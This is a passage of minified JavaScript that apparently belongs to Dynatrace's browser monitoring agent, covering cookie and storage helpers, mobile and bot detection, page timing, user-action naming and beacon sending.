(f||[]).concat(Array.prototype.slice.call(arguments)||[]))}}function Ja(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var a=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return a}function fa(){if(mb.MobileAgent||mb.dynatraceMobile){var a=Ua("dtAdkSettings",document.cookie);return Gg.dT_.p3SC(a).privacyState||null}return null}function S(){var a=fa();return 2===a||1===a?!1:!Gg.dT_.bcv("coo")||
Gg.dT_.bcv("cooO")||Gg.dT_.iSM()}function va(a){try{if(mb.localStorage)return mb.localStorage.getItem(a)}catch(b){}return null}function ja(a){for(var b=[],d=1;d<arguments.length;d++)b[d-1]=arguments[d];return hj?hj(a,b):Mk?Mk(function(){return a.apply(this,b)}):a.apply(this,b)}function U(){if("string"!==typeof document.title){var a=mh("title")[0];return a&&(a.innerText||a.textContent)||""}return document.title}function eb(a,b,d){return a.splice(b,(d||b)-b+1||a.length)}function L(){return gk}function C(){return mb.dT_}
function H(){return p}function Q(){var a=document.location;return a?0!==yc(a.href,"http"):!0}function ia(){var a=navigator.userAgent||navigator.vendor||mb.opera&&mb.opera.version()||"";return/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)||
/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substring(0,
4))}function W(){return"1"===navigator.doNotTrack||"yes"===navigator.doNotTrack||"1"===navigator.msDoNotTrack||"1"===mb.doNotTrack}function la(){return/(gomezagent|googlebot|adsbot-google|mediapartners-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|sogou|exabot|facebot|facebookexternalhit|ia_archiver)/i.test(navigator.userAgent)}function ua(a){return z&&db(a,13)&&"navigation"!==a.entryType||db(a,["_dtCl"])}function Ka(a){return T&&db(a,14)||db(a,["entryType","requestStart"])&&"navigation"===
a.entryType}function Hb(a){var b;if(!a)return null;var d=null===(b=a.getEntriesByType)||void 0===b?void 0:b.call(a,"navigation")[0];Ka(d)||(d=a.timing);return d}function ib(a,b){void 0===b&&(b=!1);if(!a)return null;for(var d,f=qa(a),l=0,r=ub;l<r.length;l++)if(d=aa(a,r[l],b)||-1,0<d&&d!==f)return Math.round(d);return null}function aa(a,b,d){void 0===d&&(d=!1);var f=Hb(a);if(!f)return null;b=f[b];if("number"!==typeof b||0===b)return null;a=qa(a);Ka(f)?d&&(b+=a):d||(b-=a);return Math.round(b)}function qa(a){var b;
return Math.round(a.timeOrigin||(null===(b=a.timing)||void 0===b?void 0:b.navigationStart)||-1)}function V(){return Mb}function pa(){return Kb}function Va(){return de}function nb(){return Be}function lb(){return ge}function jb(){return Nd}function Ab(a,b){a?a.id===a.ta()&&(Aj=a):Aj=b?null:Aj}function gc(a){return a?nn?nn.call(a):a.replace(/^\s+|\s+$/g,""):""}function Vb(a){try{var b=a.tagUrn;return b&&-1!==yc(b,"schemas-microsoft-com:vml")}catch(d){return!0}}function Ha(a){if(!a||-1===a.indexOf("://"))return"";
a=a.split("/")[2].split(":")[0].toLowerCase();a:{var b=0;for(var d=co;b<d.length;b++)if(0<=a.indexOf(d[b])){b=!0;break a}b=!1}return b?"":a}function yb(a){var b=0;if(a)for(var d=a.length,f=0;f<d;f++)b=31*b+a.charCodeAt(f),b&=b;return b}function vb(a,b,d){hj(ca,[a,b,d])}function ca(a,b,d){try{mb.sessionStorage.setItem(a,String(b))}catch(f){d||lf(a,String(b),void 0,hc("ssc"))}}function Oa(a,b,d){void 0===d&&(d=!0);var f=!0;try{mb.localStorage[a]=b}catch(l){f=!1,d&&lf(a,b,void 0,hc("ssc"))}return f}
function Za(a,b){try{return mb.sessionStorage[a]||""}catch(d){}return b?"":ng(a)}function I(a){var b=[];if(a)for(var d=0;d<a.length;d++){var f=a.charAt(d),l=Qm[f];l?Ob(b,l):Ob(b,f)}return b.join("")}function ka(a){if(!a)return"";for(var b="",d=0;d<a.length;d++){var f=on[a.charAt(d)+a.charAt(d+1)];f?(b+=f,d++):b+=a.charAt(d)}return b}function Ba(a){return a?ka(a).replace(/_5F/g,"_").replace(/_25/g,"%").replace(/_7C/g,"|"):""}function $a(a){if(!a)return"";a=a.replace(/_/g,"_5F").replace(/%/g,"_25").replace(/\|/g,
"_7C");return I(a)}function Cb(a){var b=[],d="";"string"===typeof a?d=a:"object"===typeof a&&a&&(d=a.toString());a=Xc("spc")+"\t\n\r";for(var f=0;f<d.length;f++){var l=d.charAt(f);-1===yc(a,l)&&Ob(b,l)}return b.join("")}function bd(){var a=mb.location;if(a){a=a.href;var b=yc(a,"#");0<=b&&(a=a.substring(0,b));return a}return"-"}function Qb(a,b){a=Math.round(a);(b||de)&&0<a&&lf("dtLatC",String(a),void 0,hc("ssc"));return a}function Zb(a,b,d,f,l){return q(a,b,d,f,!1,l)}function q(a,b,d,f,l,r){void 0===
r&&(r="win");try{var G=Ph[r]||{};G[b]=a[b];Ph[r]=G;Object.defineProperty(a,b,{get:d||function(){return G[b]},set:function(ea){G[b]=ea;f&&(ea||l)&&f.apply(a,[ea])},configurable:!0});return!0}catch(ea){}return!1}function D(a,b,d,f){if((f=f||a[b])&&Object.defineProperty&&(!p.ie||8<p.ie)){var l=d||"win";try{delete a[b]&&(a[b]=f,Ph[l]&&(Ph[l][b]=null))}catch(r){try{Object.defineProperty(a,b,{get:function(){return Ph[l]&&Ph[l][b]},configurable:!0})}catch(G){}}}}function t(a){lf("dtUseDebugAgent",a,void 0,
hc("ssc"))}function y(a){lf("dt_dbg_console",a,void 0,hc("ssc"))}function Y(a){void 0===a&&(a="TRACE");lf("dt_dbg_logfilter","level=".concat(a,"|featureHash=|fileName="),void 0,hc("ssc"))}function x(a){var b=a.match(/:([0-9]+)/);return b?b[1]:0===yc(a,"https")?"443":"80"}function oa(a){if(!a)return!1;a=gc(a).toLowerCase();0===a.indexOf("//")&&(a=location.protocol+a);var b=0===yc(location.href,"http");if(0!==yc(a,"http")||!b)return!1;if(yc(location.href,location.host)!==yc(a,location.host.toLowerCase()))return!0;
b=location.port||x(location.href);return x(a)!==b}function R(a){try{var b=document.createElement("a");b.href=a;return b.cloneNode(!0).href}catch(d){return a}}function O(){try{return p.ie||p.edge?encodeURI(mb.location.href):mb.location.href}catch(a){}return""}function wa(a){if(!a)return"";try{var b=void 0,d=R(a);if(!mb.location)return d;var f=mb.location,l=f.origin;if(!l){if(!f.protocol||!f.host)return d;l=f.protocol+"//"+f.host}var r=b=d.substring(0,l.length+1).toLowerCase()===(l+"/").toLowerCase()?
d.substring(l.length):d}catch(G){r=a,0===yc(a,"?")&&(r=mb.location.pathname+a)}return Ga(r,500)}function Ga(a,b,d,f){void 0===b&&(b=100);void 0===d&&(d=!1);void 0===f&&(f="...");return!a||a.length<=b?a:d?f+a.substring(Math.max(0,a.length-b+f.length)):a.substring(0,Math.max(0,b-f.length))+f}function Wa(a){var b=Tc("sl");return Ga(a,b)}function Eb(a,b,d){return a.apply(b,d||[])}function Lb(a,b,d,f){if(d)if(d=Ga(d,Tc("mhl")),a[f].set){var l=a[f].set(b,d);l&&l.get&&l.get(b)===d&&(a[f]=l)}else a[f][b]=
d}function Nb(a){return Object.getPrototypeOf?Object.getPrototypeOf(a):Object.__proto__===Object.prototype&&Array.__proto__===Array.prototype?a.__proto__:a.constructor?a.constructor.prototype:void 0}function ac(a){return Ra(a,"prototype")?a.prototype:Nb(a)}function rc(a){return a?a.split("?")[0]:""}function mc(){var a=qi();if(a){var b=yc(a,"-");a=-1===b?"":a.substring(0,b);if(a){b="";for(var d=0;d+1<a.length;d+=2)b+=String(a.charCodeAt(d)+a.charCodeAt(d+1));a=Math.floor(Math.abs(1E7*Math.sin(parseInt(b,
10))))}else a=0}else a=!1;return a}function Oc(){var a=Ii();return 3===a?!0:4===a?!1:!!Tc("rdnt")&&W()}function Kc(a,b,d){if(!a||!b)return[];for(var f=[],l=0;l<a.length;l+=b){if(l+b<=a.length){var r=a.slice(l,l+b);"%"===r.charAt(r.length-1)&&a.length>=l+b+1&&(r+=a.charAt(l+b),r+=a.charAt(l+b+1),l+=2);"%"===r.charAt(r.length-2)&&a.length>=l+b+2&&(r+=a.charAt(l+b),l+=1)}else r=a.slice(l);f.push(r)}if(d)for(a=f.length,b=0;b<a;b++)f[b]=d.replace(/#index#/,String(b+1)).replace(/#total#/,String(a))+f[b];
return f}function gd(a){return Array.prototype.slice.call(a)}function ma(a){return!1===a?0:"number"===typeof a?2:1}function Ca(a,b){void 0===b&&(b=Tc("rtu"));if(!a)return"";var d=Tc("rtp");if(!d||a.length>b&&2===d)a=rc(a);var f=$a(a);if(f.length>b){d=$a(Ha(a));a=a.split("/");a=a[a.length-1];var l=$a(a);if(l!==d){if(f=d+"/../"+l,b=f.length-b,0<b)if(l.length>b){b=Math.max(l.length-(b+2),0);f=Math.max(a.length-b,0);for(l=$a(a.substring(f,a.length));l.length>b;)f+=Math.ceil((l.length-b)/3),l=$a(a.substring(f,
a.length));f=d+"/../.."+l}else f=Ga(d,b,!1,".../")+l}else f=Ga(f,b,!0)}return f}function Ra(a,b){return Object.prototype.hasOwnProperty.call(a,b)}function Sa(a,b){void 0===b&&(b=qa(mb.performance));var d=1E3*Tc("oat");return b+d>=a?a:-2}function Db(){return C().disabled&&!Z(C())}function Yb(){Z(C())||(vb("dtDisabled",!0),C().disabled=!0)}function Na(a,b){return hk(a,b)||oe(a)||""}function oc(a){if(Object.keys)return Object.keys(a);var b=[];if(a===Object(a))for(var d in a)Ra(a,d)&&b.push(d);return b}
function rb(a,b){a=Bj[a];-1<mf(a,b)||Ob(a,b)}function wb(a,b){a=Bj[a];b=mf(a,b);-1!==b&&eb(a,b)}function pc(a){for(var b=[],d=0,f=Bj[a.kind].slice();d<f.length;d++){var l=(0,f[d])(a);l&&(Ue(l,0)?b=b.concat(l):Ob(b,l))}return b}function Sc(){var a=gk,b=gb();a!==b&&rb("DEBUG_INFO_REQUESTED",function(){return{type:"miav",severity:"Warning",text:"Snippet version(".concat(a,") does not match the version of the monitoring code(").concat(b,"). Consider updating your code snippet for best compatibility.")}});
rb("DEBUG_INFO_REQUESTED",function(){return{type:"v",severity:"Info",text:"Snippet version: ".concat(a," ; Monitoring code:").concat(gb())}})}function ed(){for(var a=Ze.oa.length-1;0<=a;a--){var b=Ze.oa[a];if(b.$b()&&!b.ma||b.ma&&b.We())return b}return null}function $b(a){return Ze.actions[a]}function Ac(a,b,d,f,l,r){void 0===l&&(l=!1);void 0===r&&(r=!1);if(l)Nc(a,b,d,f,r);else{try{for(l=0;l<a.length;l++)b.call(d,a[l],l,a,function(){})}catch(ea){var G=ea}if(f)G?f.call(d,a,G):f.call(d,a);else if(G)throw G;
}}function Ic(a,b,d,f,l){void 0===f&&(f=!1);void 0===l&&(l=!1);return new ra(function(r,G){Ac(a,b,d,function(ea,ya){ya?G(ya):r(ea)},f,l)})}function Nc(a,b,d,f,l){function r(Tb){pb=Tb;qd(function(){G(Tb,ya)})}function G(Tb,Hc){if(!zb){try{4>b.length&&ob++;var zc=b.call(d,Hc[Tb],Tb,Hc,function(){function Pc(Dh){pb=Dh;qd(function(){G(Dh,ya)})}ob++;ob===Hc.length&&ea();for(var Ke=pb+1;Ke<Hc.length;Ke++)Pc(Ke)})}catch(Pc){var Ad=Pc;zc=!1}Tb=function(Pc){pb=Pc;qd(function(){G(Pc,ya)})};for(var Zd=pb+1;Zd<
Hc.length;Zd++)Tb(Zd);(!1===zc||Ad)&&ea(Ad);ob!==Hc.length||zb||ea()}}function ea(Tb){f&&!zb&&(f.apply(d,Tb?[ya,Tb]:[ya]),zb=!0)}void 0===l&&(l=!1);var ya=l?a:Array.prototype.slice.call(a),ob=0,zb=!1,pb=0;for(a=0;a<ya.length;a++)r(a);ob===ya.length&&qd(ea)}function qd(a){om||(om=!0,Zc(function(){om=!1;var b=ul;ul=[];for(var d=kc(),f=0;f<b.length&&35>kc()-d;)b[f](),f++;for(d=f;d<b.length;d++)qd(b[d])},0));ul.push(a)}function ad(a,b){if(ta(Array.prototype.filter))return Array.prototype.filter.call(a,
b);for(var d=[],f=0;f<a.length;f++){var l=a[f];b(l,f,a)&&d.push(l)}return d}function dc(a,b,d,f){void 0===f&&(f=!1);return d?new ra(function(l,r){var G=[];Ac(a,function(ea,ya){b(ea,ya,a)&&G.push(ea)},null,function(ea,ya){ya?r(G):l(G)},d,f)}):ra.resolve(ad(a,b))}function Lc(){return vl}function jd(a){a=I(a);-1===mf(pm,a)&&Ob(pm,a)}function bc(a){return-1!==mf(pm,a)}function ic(){var a=C();try{for(var b=n;b&&b!=mb;){var d=b.dT_;if(d&&"ea"in d&&d.version===gb())return d.tdto();d&&"ea"in d&&(Ji[d.version]=
1);b=b!==b.parent?b.parent:void 0}}catch(f){}return a}function Pd(){return!Ki}function af(a,b,d,f){b=ad(oc(Ji),Se);Cj.push.apply(Cj,b);0<b.length&&(b.unshift(gb()),a.av(f,"afv",b.join(",")));Ji={}}function Se(a){return 0>mf(Cj,a)}function Qd(){Ji={};try{if(n&&n!=mb){var a=n.dT_;if(a){var b=a.version;b===gb()?(Wg=a,Ki=Wg.tdto()):Ji[b]=1}}}catch(d){}Qe(af);a=C();Ki?(vl=Ki.pageId,a.Jd=Ki.Jd,Vl=Wg.gFId(),Wg.hi++):(vl=bg(),a.Jd=U());a.pageId=vl;rb("DEBUG_INFO_REQUESTED",function(){ic();var d=oc(Ji);return 0===
d.length?null:{severity:"Error",text:"Version of current agent ".concat(gb()," mismatches with version").concat(1<d.length?"s":""," ").concat(d.join(", ")," of parent frames. Make sure to use the same version on all frames to secure compatibility!"),type:"mpv"}})}function ke(){var a=ic();if(a===C()||!a.gITAID)return Wl++;a=a.gITAID();Wl=a+1;return a}function Wc(a){return a.id}function Te(){return!ed()}function Bd(a){return(a=$b(a))&&a.Ma?a:null}function Rd(a){return(a="number"===typeof a?Bd(a):a)?
a.La():""}function Xe(a,b,d){var f=Nd;d&&(f=$b(d));if(!f)return!1;f.Ne(a,b);return!0}function ye(){var a=og(!0);if(0<a.length){for(var b=[],d=0;d<a.length;d++){var f=a[d];f.frameId!==bg()&&Ob(b,f)}ij(b)}}function zd(a){if(!a)return"";var b=bg()+"h"+a,d=document.cookie,f=hk("dtPC",d);return hc("dASXH")&&f&&0<=yc(f,b)&&!Q()?"":Li()+"$"+bg()+"h"+a+"v"+qi(d)+"e0"}function ze(a){for(var b=nh.length-1;0<=b;b--)if(nh[b]===a){eb(nh,b);break}}function ne(a){if(0<Dj||a&&0<nh.length)if(a=nh.length,0<a)return nh[a-
1];return 0}function vd(a){return a&&1===a.length?-1!==yc(Xc("featureHash"),a):!1}function He(a,b,d,f){void 0===f&&(f=ve(a));var l=mb.dT_,r=Z(C());b=b||!r;a=r&&-1===yc(l.iMod(),a);return b&&d&&(f||a)}function ve(a){var b=mb.dT_;if(b.ism(a)&&-1===yc(b.iMod(),a))return b.iMod(a),!0;b.ism(a)&&(a='Module "'+a+'" already enabled!',Qh()&&mb.console.log("WARNING: "+a));return!1}function u(a){var b=Pf.initializedModules||"";a&&(b+=a);return Pf.initializedModules=b}function E(a,b){void 0===b&&(b=gb());var d=
Xc("agentUri");d=d.substring(0,d.lastIndexOf("/"));var f=Xc("csu");"true"===ng("dtUseDebugAgent")&&mb.dT_debugger&&0>f.indexOf("dbg")&&(f=Xc("debugName")||f+"dbg");return"".concat(d,"/").concat(f,"_").concat(a,"_").concat(b,".js")}function N(a){return Pf[a]}function ha(a,b){Pf[a]=String(b)}function sa(a,b,d){if(ta(Array.prototype.reduce))return Array.prototype.reduce.call(a,b,d);var f="undefined"!==typeof d;d=f?d:a[0];if("undefined"===typeof d)throw new TypeError("Reduce of empty array with no initial value");
for(f=f?0:1;f<a.length;f++)d=b(d,a[f],f,a);return d}function Ia(a,b,d,f){var l=ef()+Math.round(d.startTime),r=l-a;l>=a&&l<=b&&0<=r&&(null==f.Ia||r<f.Eb)&&(f.Ia=d,f.Eb=r)}function bb(a,b,d){return sa(a,function(f,l){Ia(b,d,l,f);return f},{Ia:null,Eb:Number.MAX_VALUE}).Ia}function cb(a,b){return ad(a,function(d){return d.initiatorType===b})}function Fb(a,b,d,f){try{if(!(a&&performance&&performance.getEntriesByName))return null;var l=R(a);0===yc(l,"/")?l=location.protocol+"//"+location.host+l:0!==yc(l,
"http")&&(l=location.href.substring(0,location.href.lastIndexOf("/")+1)+l);var r=performance.getEntriesByName(l);b&&(r=cb(r,b));if(r.length)return d?bb(r,d,f||Number.MAX_VALUE):r[r.length-1];r=performance.getEntriesByType("resource");b&&(r=cb(r,b));-1===l.indexOf("?")&&(l+="?");for(var G={Ia:null,Eb:Number.MAX_VALUE},ea=r.length-1;0<=ea;ea--){var ya=r[ea];if(0===ya.name.lastIndexOf(l,0))if(d)Ia(d,f||Number.MAX_VALUE,ya,G);else return ya}return G.Ia}catch(ob){return null}}function Ib(a){try{var b=
Fb(a,"xmlhttprequest");if(ua(b)){var d=(b.requestStart-(b.redirectEnd||b.startTime))/2;0<d&&Qb(d);return!0}}catch(f){}return!1}function fc(a,b,d,f){function l(){}function r(){}var G=a.path,ea=a.Ka,ya=a.async,ob=kc();f&&(r=function(zb){return function(pb){if(Eh)for(var Tb=0,Hc=Eh();Tb<Hc.length;Tb++)(0,Hc[Tb])(b,"success",pb);Tb=kc()-zb;Ib(G)||Qb(Tb/2);Tb=pb&&pb.split("|");for(Hc=1;Hc<Tb.length;Hc++){var zc=Tb[Hc].split("=");if("dtCookie"===zc[0]||"sn"===zc[0]){if(zc=decodeURIComponent(zc[1]),Mi(zc)){jj(zc);
try{mb.sessionStorage&&mb.sessionStorage.removeItem("dtCookie")}catch(kj){}}}else if("name"===zc[0]){zc=void 0;var Ad=pb;if(mb.localStorage)try{var Zd=Cd(),Pc=mb.localStorage.getItem(Zd),Ke=Xc("cuc"),Dh=0;if(Pc){var Ve=cg(Pc),Qf=Ni(Ve.config||"",Ve);Ve.name&&(Qf.csu=Ve.name);Dh=$d(Qf.lastModification||"0")}var ri=cg(Ad),sf=Ni(ri.config||"");if(!Ke||!sf.cuc||Ke===sf.cuc){sf.csu=ri.name||Xc("csu");var ff=$d(sf.lastModification||"0");ff>Dh&&(mb.localStorage.setItem(Zd,Ad),wl(sf),Ej(sf,!0),Nk(sf),Fj(sf),
ff>(Pf.lastModification||0)&&(Pf=Xl(sf),pc((zc={},zc.kind="CONFIG_UPDATE",zc.detail=Pf,zc))))}}catch(kj){}}else"enabled"===zc[0]&&"false"===zc[1]&&Yb()}}}(ob),l=function(zb){if(Eh)for(var pb=0,Tb=Eh();pb<Tb.length;pb++)(0,Tb[pb])(b,"fail",zb);qm++;if(p.sf||p.msf){if(oh.length)for(zb=kc(),pb=0;pb<oh.length;pb++)oh[pb].time<zb&&oh.splice(pb--);Ob(oh,{path:G,data:ea,time:kc()})}if(!se)try{if(mb.localStorage){var Hc=Cd();mb.localStorage.removeItem(Hc)}}catch(zc){}});if("onreadystatechange"in d){if(d.onreadystatechange=
Ec(b,r,l,a),ya&&"timeout"in d&&"ontimeout"in d&&(a=Tc("xt")))d.timeout=a,d.ontimeout=ld(a)}else d.timeout=Tc("xt"),d.onload=function(){r(this.responseText)},d.onprogress=function(){},d.ontimeout=function(){}}function Ec(a,b,d,f){return function(){var l=f.vc,r=f.wc;if(4===this.readyState)try{if(200===this.status)b(this.responseText);else if(429===this.status){for(var G=0,ea=ge;G<ea.length;G++)ea[G].Db();Yb();d(this.status,this.responseText)}else d(this.status,this.responseText)}catch(ya){d(0)}if(a)try{a.ef(this.readyState,
this.status,l,r)}catch(ya){}}}function ld(){return function(){try{this.abort()}catch(a){}}}function fd(a,b){void 0===b&&(b=!0);for(var d=a.path,f=a.Ka,l=a.Fa,r=a.async,G=a.beacon,ea=a.Ge,ya=3,ob=!1;0<ya;)try{var zb=void 0,pb=hc("cors");if(pb){var Tb=Gj();var Hc="withCredentials"in Tb?Tb:mb.XDomainRequest?new mb.XDomainRequest:null}else Hc=Gj();zb=Hc;if(!zb)return!1;"onreadystatechange"in zb?zb.open("POST",d,r):zb.open("POST",d);"setRequestHeader"in zb&&(zb.setRequestHeader("Content-Type",ea?"application/octet-stream":
"text/plain;charset=UTF-8"),l&&l!==O()&&!pb&&zb.setRequestHeader("x-dtreferer",Ga(l,Tc("mhl"))));G&&fc(a,G,zb,b);zb.send(f);ya=0;ob=!0}catch(zc){ya--}return ob}function hd(a){return La({path:"",Fa:"",Ka:"",vc:0,wc:1,async:!1},a)}function od(a,b){var d=!1;a.xc&&(d=!we(a.path,a.Ka));if(!a.xc||d)a=fd(a,!0),b=b&&a;return b}function we(a,b){try{var d=navigator.sendBeacon(a,b||"")}catch(f){d="Error sending signal via sendBeacon: "+f+": "+a}d||++qm;return d}function ce(a,b){void 0===b&&(b=!1);var d=["i".concat(a.id),
"k".concat(a.kind),"h".concat(Number(a.hydrated))];b&&d.push("t".concat(Number(a.trigger)));return d.join(";")}function Xd(a){if(a)for(var b=mh("LABEL"),d=ph(b),f=0;f<d;f++){var l=b[f];if(l&&"LABEL"===l.nodeName&&l.htmlFor===a)return Hd(l.innerText,l.textContent)}return""}function Hd(){for(var a=[],b=0;b<arguments.length;b++)a[b]=arguments[b];for(b=0;b<a.length;b++){var d=a[b];if("string"===typeof d&&(d=gc(d)))return d}return""}function xf(a){if(a){if(0===yc(a,"data:"))return"";a=a.split("/");if(0<
a.length)return a[a.length-1].split(".")[0]}return""}function Of(a){if(a&&a.split){var b=a.split("/");if(0<b.length&&(b=gc(b[b.length-1]),null!==b))return b}return a||""}function Dg(a){return Pa(a)?a.innerText||a.textContent:a.textContent}function jh(a,b){var d=b.nodeName?b.nodeName.toUpperCase():"unknown",f=za(b)?b.getAttribute("type"):"";f="string"===typeof f?f.toUpperCase():"";var l="";switch(a){case 0:za(b)?(d="",ab(b)&&"HIDDEN"!==f&&(d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f&&"IMAGE"!==f?
null:b.value,a=Xd(b.id),d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f?Hd(a,d):Hd(d,a)),d||(d=Hd(Dg(b))),l=d):l="";break;case 1:d="";if(ab(b)&&"HIDDEN"!==f||b&&"BUTTON"===b.nodeName)f="IMAGE"===f?b.getAttribute("alt"):null,d=Hd(b.name,b.title,f);l=d;break;case 3:za(b)?(b=b.className,l=db(b,["baseVal","animVal"])?b.baseVal||b.animVal||"":b):l="";break;case 4:b="";"INPUT"===d&&"HIDDEN"!==f?b="INPUT: "+f:"A"===d?b="LINK":"-"===si&&(si=b=d);l=b;break;case 2:d="",ab(b)&&"IMAGE"===f?d=xf(b.src):b&&"A"===
b.nodeName?d=Hd(b.title,Of(b.href)):b&&"IMG"===b.nodeName?d=Hd(b.name,b.title,b.alt,xf(b.src)):b&&"FORM"===b.nodeName&&(d=Hd(b.name,b.id,b.action)),d||(d=Hd(b.title,b.data,b.wholeText,b.id)),l=d}return l}function pf(a){if(!a)return"";try{if(p.ie&&Vb(a))return"VML Node";var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return si;for(b=0;4>=b;b++){var d=jh(b,a);if(d&&d!==si)return d}return pf(a.parentNode)}catch(f){}return""}function Vf(a,b){if(!b)return"";
var d=ph(b);if(0>=d||20<xl)return"";for(var f=0;f<d;f++){var l=b[f];if(p.ie&&Vb(l))return"VML Node";var r;xl++;if(r=Vf(a,l.childNodes))return r;xl--;if(r=jh(a,l))return r}return""}function Bb(a){try{var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return"Page: "+rm;if(a&&"SELECT"===a.nodeName){var d=a.nodeName?a.nodeName.toUpperCase():null,f=Xd(a.id),l=Hd(f,a.name,d),r=null;if(!a.multiple){var G=a.options&&-1<a.selectedIndex?a.options[a.selectedIndex]:
null;G&&(r=Hd(G.label,G.innerText,G.textContent))}return r?"["+l+"] to value ["+r+"]":l}if(a&&"TEXTAREA"===a.nodeName){var ea=a.nodeName?a.nodeName.toUpperCase():null,ya=Xd(a.id);return Hd(ya,a.name,ea)||a.nodeName}var ob=Hd(Dg(a));if(ob)return ob;xl=0;if(a.childNodes&&0<ph(a.childNodes)){a:{for(l=0;4>=l;l++){var zb=Vf(l,[a]);if(zb){r=zb;break a}}r=""}return r}}catch(pb){}return pf(a)}function tg(){Rm=Xc("uana").split(",");pn=Tc("uanpi")||0}function J(){return Hf}function B(a){3===a&&(Xg=[]);Hf=a}
function K(){return ae}function Fa(a){var b=ad(lj,function(d){return d.timestamp<=a});return b[b.length-1]||null}function Ya(a){Ue(a,0)?Xg.push.apply(Xg,a):Xg.push(a)}function tb(a){var b=zf;try{for(;b;){var d;if(d=a.target&&"string"!==typeof a.target&&a.target!==b.target&&"string"!==typeof b.target)a:{try{for(var f=a.target.parentNode;f;){if(f===b.target){d=!0;break a}f=f.parentNode}}catch(l){}d=!1}d&&(a=b);b=b.next}}catch(l){}zf=a}function Sb(a){var b,d=a.Cg,f=a.url,l=a.title,r=a.view;return b=
{id:a.id,target:a.target,name:"",type:a.type,next:void 0,ob:void 0,info:a.kf||"-",start:kc(),Sb:!1,Sd:kc()+(d||30),url:f||O(),title:l||U(),aa:""},b.view=r,b.Ob=function(){if(!this.name){if(hc("uam"))var G={aa:"dTMasked_"+(Pa(this.target)?this.target.nodeName:"")};else{var ea=this.target||"";si="-";if(p.ie&&Vb(ea))G={aa:"VML Node"};else if("string"===typeof ea)G={aa:ea};else if(za(ea)){G=Bb(ea)||si;a:{try{for(var ya=0;ya<=pn;ya++){for(var ob=0,zb=Rm;ob<zb.length;ob++){var pb=ea.getAttribute(zb[ob]);
if(pb){var Tb=pb;break a}}if(ea.parentElement)ea=ea.parentElement;else break}}catch(Hc){}Tb=""}G={aa:G,Lb:Tb}}else G={aa:si}}G.aa=Wa(Cb(G.aa));G.Lb=Wa(Cb(G.Lb));this.name=G.Lb||G.aa;G.Lb&&(this.aa=G.aa)}return this.name},b.oi=function(){return this.Sb},b.vg=function(){var G=this;do G.Sb=!0,G=G.next;while(G)},b}function Ub(a,b,d,f,l,r,G){void 0===G&&(G=ae);if(Yc(dg))return dg.bi(a,b,d,f,l,r,G);var ea=Sb({id:sm++,target:a,type:b,kf:d,Cg:f,url:l,title:r,view:G});try{return ik&&(ea.next=zf,ea.next&&(ea.next.ob=
